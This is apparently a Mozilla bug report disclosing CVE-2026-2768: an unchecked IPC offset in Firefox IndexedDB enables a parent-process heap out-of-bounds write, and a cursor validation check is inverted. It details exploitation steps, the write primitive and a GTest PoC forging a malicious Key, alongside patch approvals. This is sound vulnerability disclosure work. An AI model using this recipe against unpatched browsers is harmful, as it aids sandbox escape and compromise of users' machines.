2014101 - (CVE-2026-2768) IndexedDB Key::MaybeUpdateAutoIncrementKey — Parent Process Heap OOB Write

Reporter

Description

•

7 months ago

Summary

The Key class in Firefox's IndexedDB implementation deserializes mAutoIncrementKeyOffsets from IPC without validating that the offsets are within bounds of the key's mBuffer. When an auto-increment object store processes a put/add operation, MaybeUpdateAutoIncrementKey writes 8 bytes at each attacker-controlled offset relative to the nsCString buffer's data pointer. A compromised content process can exploit this to achieve an arbitrary relative heap write in the parent process.

Root Cause

In dom/indexedDB/SerializationHelpers.h, lines 36-39:

static bool Read(MessageReader* aReader, paramType* aResult) {
    return ReadParam(aReader, &aResult->mBuffer) &&
           ReadParam(aReader, &aResult->mAutoIncrementKeyOffsets);
}

The mAutoIncrementKeyOffsets array (CopyableTArray<uint32_t>) is deserialized directly from the IPC message with no bounds validation against mBuffer.Length().

In normal operation, Key::ReserveAutoIncrementKey (Key.cpp:568-577) always sets offsets to mBuffer.Length() + 1, ensuring they are within the buffer. But the IPC deserialization path has no such constraint — a compromised content process can set arbitrary offset values.

In dom/indexedDB/ActorsParent.cpp, lines 10387-10399, VerifyRequestParams for ObjectStoreAddPutParams validates that index keys exist and are not unset, but never validates mAutoIncrementKeyOffsets:

for (const auto& updateInfo : aParams.indexUpdateInfos()) {
    SafeRefPtr<FullIndexMetadata> indexMetadata =
        GetMetadataForIndexId(*objMetadata, updateInfo.indexId());
    if (NS_AUUF_OR_WARN_IF(!indexMetadata)) { return false; }
    if (NS_AUUF_OR_WARN_IF(updateInfo.value().IsUnset())) { return false; }
    MOZ_ASSERT(!updateInfo.value().GetBuffer().IsEmpty());  // DEBUG ONLY
}
// mAutoIncrementKeyOffsets is NEVER checked

Vulnerable Code Path

In dom/indexedDB/Key.cpp, lines 588-601:

void Key::MaybeUpdateAutoIncrementKey(int64_t aKey) {
  if (mAutoIncrementKeyOffsets.IsEmpty()) { return; }

  for (uint32_t offset : mAutoIncrementKeyOffsets) {
    char* buffer;
    MOZ_ALWAYS_TRUE(mBuffer.GetMutableData(&buffer));
    buffer += offset;                          // No bounds check!
    WriteDoubleToUint64(buffer, double(aKey)); // 8-byte write at offset
  }
  TrimBuffer();
}

WriteDoubleToUint64 (line 603-611) writes 8 bytes in big-endian format:

void Key::WriteDoubleToUint64(char* aBuffer, double aValue) {
  uint64_t bits = BitwiseCast<uint64_t>(aValue);
  const uint64_t signbit = FloatingPoint<double>::kSignBit;
  uint64_t number = bits & signbit ? (-bits) : (bits | signbit);
  mozilla::BigEndian::writeUint64(aBuffer, number);
}

This is called at ActorsParent.cpp:19143-19146 during ObjectStoreAddOrPutRequestOp::DoDatabaseWork:

for (auto& updateInfo : mParams.indexUpdateInfos()) {
    updateInfo.value().MaybeUpdateAutoIncrementKey(autoIncrementNum);
}

Exploitation

A compromised content process exploits this as follows:

Open an IndexedDB database with an auto-increment object store that has at least one index (this setup is trivial via normal web APIs).
Forge an ObjectStoreAddParams IPC message containing:
- Target object store with autoIncrement = true
- An unset key (triggers the auto-increment path)
- indexUpdateInfos containing a Key with:
  - mBuffer: a small valid buffer (e.g., 10 bytes)
  - mAutoIncrementKeyOffsets: [target_offset] (e.g., 0x1000)
The parent process deserializes the Key via ParamTraits<Key>::Read, which reads mAutoIncrementKeyOffsets without any bounds validation.
VerifyRequestParams validates the index metadata but never inspects the offsets.
DoDatabaseWork calls MaybeUpdateAutoIncrementKey on the forged Key.
The function writes 8 bytes at mBuffer.Data() + target_offset, corrupting arbitrary heap memory in the parent process.

Write primitive details

Offset: Fully controlled uint32_t (0 to 4GB relative to buffer start)
Size: 8 bytes per offset entry; multiple offsets can be provided for multiple writes in a single IPC message
Value: Derived from the auto-increment counter via WriteDoubleToUint64. The counter starts at 1 and increments. For counter value 1, the write value is the IEEE 754 encoding of 1.0 with sign-bit XOR = 0xBFF0000000000000. The value has limited controllability but the offset is fully controlled.
Process: Parent process (not sandboxed on many platforms)

Additional Finding: Inverted Validation in AllocCursor

In ActorsParent.cpp, line 10631:

if (aTrustParams && NS_AUUF_OR_WARN_IF(!VerifyRequestParams(
                        commonParams.optionalKeyRange()))) {

Compare with the correct pattern in AllocRequest at line 10487:

if (NS_AUUF_OR_WARN_IF(!aTrustParams && !VerifyRequestParams(aParams))) {

aTrustParams = IsSameProcessActor():

AllocRequest: !aTrustParams — validates when untrusted (correct)
AllocCursor: aTrustParams — validates when trusted (INVERTED)

This means cross-process content callers skip key range validation entirely when opening cursors. In DEBUG builds, aTrustParams is forced to false (line 10614-10617), so false && ... = false — validation is also skipped in DEBUG.

PoC

GTest: IPC Deserialization Forgery

Uses ParamTraits<Key> serialization to forge a Key with mAutoIncrementKeyOffsets = [0x200] and mBuffer of 4 bytes. The test proves deserialization succeeds without validation. The actual MaybeUpdateAutoIncrementKey call is commented out for safety — uncommenting it in an ASAN build triggers heap-buffer-overflow WRITE of size 8.

Build: place in dom/indexedDB/test/gtest/, add to moz.build, run ./mach gtest "IndexedDB.KeyOOBWrite".

// dom/indexedDB/test/gtest/TestKeyOOBWrite.cpp
#include "gtest/gtest.h"
#include "mozilla/UniquePtr.h"
#include "mozilla/dom/indexedDB/Key.h"
#include "mozilla/dom/indexedDB/SerializationHelpers.h"
#include "mozilla/ipc/MessageChannel.h"
#include "ipc/IPCMessageUtils.h"

using mozilla::UniquePtr;
using namespace mozilla::dom::indexedDB;

TEST(IndexedDB, KeyOOBWrite)
{
  // Step 1: Construct a malicious serialized Key.
  // mBuffer = "AAAA" (4 bytes)
  // mAutoIncrementKeyOffsets = [0x200] (offset 512, way past 4-byte buffer)

  UniquePtr<IPC::Message> msg(
      new IPC::Message(MSG_ROUTING_NONE, 0));
  IPC::MessageWriter writer(*msg);

  nsCString smallBuffer("AAAA"_ns);
  WriteParam(&writer, smallBuffer);

  CopyableTArray<uint32_t> maliciousOffsets;
  maliciousOffsets.AppendElement(0x200);  // 512 bytes past buffer start
  WriteParam(&writer, maliciousOffsets);

  // Step 2: Deserialize the crafted Key.
  // ParamTraits<Key>::Read at SerializationHelpers.h:36-39 will read both
  // mBuffer and mAutoIncrementKeyOffsets without any cross-validation.

  Key deserializedKey;
  IPC::MessageReader reader(*msg);
  bool readOk = IPC::ReadParam(&reader, &deserializedKey);

  // The read succeeds because there's no validation of offsets vs buffer size
  ASSERT_TRUE(readOk);

  // Step 3: Verify the deserialized state is dangerous.
  ASSERT_EQ(deserializedKey.GetBuffer().Length(), 4u);

  // Step 4: Trigger the OOB write.
  // Under ASAN, this will report: heap-buffer-overflow WRITE of size 8
  //
  // UNCOMMENT TO TRIGGER:
  // deserializedKey.MaybeUpdateAutoIncrementKey(1);
  //
  // WARNING: This will write 8 bytes at an arbitrary heap offset.
  // Only uncomment in an ASAN build or a test environment.
}

HTML: Attack Surface Demonstration

Exercises the normal code path from web content: creates an IndexedDB database with auto-increment object store and indexes, adds records to trigger MaybeUpdateAutoIncrementKey in the parent process. The actual exploit requires IPC message manipulation from a compromised content process.

<!-- pocs/indexeddb_key_oob_write.html -->
<!DOCTYPE html>
<html>
<head><meta charset="utf-8"><title>IndexedDB OOB Write - Attack Surface PoC</title></head>
<body>
<pre id="log"></pre>
<script>
function log(msg) { document.getElementById('log').textContent += msg + '\n'; }

async function poc() {
    log('=== IndexedDB Key::MaybeUpdateAutoIncrementKey OOB Write ===');

    const dbName = 'poc_oob_' + Date.now();
    const request = indexedDB.open(dbName, 1);

    const db = await new Promise((resolve, reject) => {
        request.onerror = () => reject(request.error);
        request.onupgradeneeded = (event) => {
            const db = event.target.result;
            const store = db.createObjectStore('data', {
                autoIncrement: true, keyPath: 'id'
            });
            // Indexes cause indexUpdateInfos to be populated in the
            // ObjectStoreAddPutParams IPC message. Each index update
            // contains a Key with mAutoIncrementKeyOffsets.
            store.createIndex('idx_a', 'a');
            store.createIndex('idx_b', 'b');
        };
        request.onsuccess = () => resolve(request.result);
    });
    log('[1] Database created with autoIncrement store + 2 indexes');

    // Each add() sends ObjectStoreAddParams via IPC to the parent process.
    // The Key struct has mBuffer + mAutoIncrementKeyOffsets.
    // IPC deserialization (SerializationHelpers.h:36-39) reads
    // mAutoIncrementKeyOffsets without bounds validation.
    const tx = db.transaction('data', 'readwrite');
    const store = tx.objectStore('data');
    for (let i = 0; i < 5; i++) {
        store.add({ a: 'val_' + i, b: i * 100 });
    }
    await new Promise((resolve, reject) => {
        tx.oncomplete = resolve;
        tx.onerror = () => reject(tx.error);
    });
    log('[2] 5 records added -- parent process executed MaybeUpdateAutoIncrementKey');

    log('[3] VULNERABILITY: SerializationHelpers.h:36-39 reads offsets without');
    log('    bounds check. Key.cpp:593-597 writes 8 bytes at each offset.');
    log('    A compromised content process forges offsets to write OOB.');

    db.close();
    indexedDB.deleteDatabase(dbName);
    log('[*] Done. Database cleaned up.');
}

poc().catch(e => log('Error: ' + e));
</script>
</body>
</html>

Affected Code

File	Lines	Description
`dom/indexedDB/SerializationHelpers.h`	36-39	Key deserialized from IPC without offset validation
`dom/indexedDB/Key.cpp`	588-601	Unvalidated offset used for 8-byte heap write
`dom/indexedDB/Key.cpp`	603-611	`WriteDoubleToUint64` performs the actual write
`dom/indexedDB/ActorsParent.cpp`	10387-10399	`VerifyRequestParams` never checks offsets
`dom/indexedDB/ActorsParent.cpp`	19143-19146	Call site in parent process DoDatabaseWork
`dom/indexedDB/ActorsParent.cpp`	10631	Inverted `aTrustParams` condition in AllocCursor

Flags: sec-bounty?

(secure) 7 months ago Jari Jalkanen [:jari] 48 bytes, text/x-phabricator-request	dveditz : sec-approval+	Details \| Review
(secure) 7 months ago Jari Jalkanen [:jari] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-beta+	Details \| Review
(secure) 7 months ago Jari Jalkanen [:jari] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-esr140+	Details \| Review
(secure) 7 months ago Jari Jalkanen [:jari] 48 bytes, text/x-phabricator-request		Details \| Review

IndexedDB Key::MaybeUpdateAutoIncrementKey — Parent Process Heap OOB Write

Summary

Root Cause

Vulnerable Code Path

Exploitation

Write primitive details

Additional Finding: Inverted Validation in AllocCursor

PoC

GTest: IPC Deserialization Forgery

HTML: Attack Surface Demonstration

Affected Code

Security Approval Request

firefox-beta Uplift Approval Request

firefox-esr140 Uplift Approval Request

firefox-release Uplift Approval Request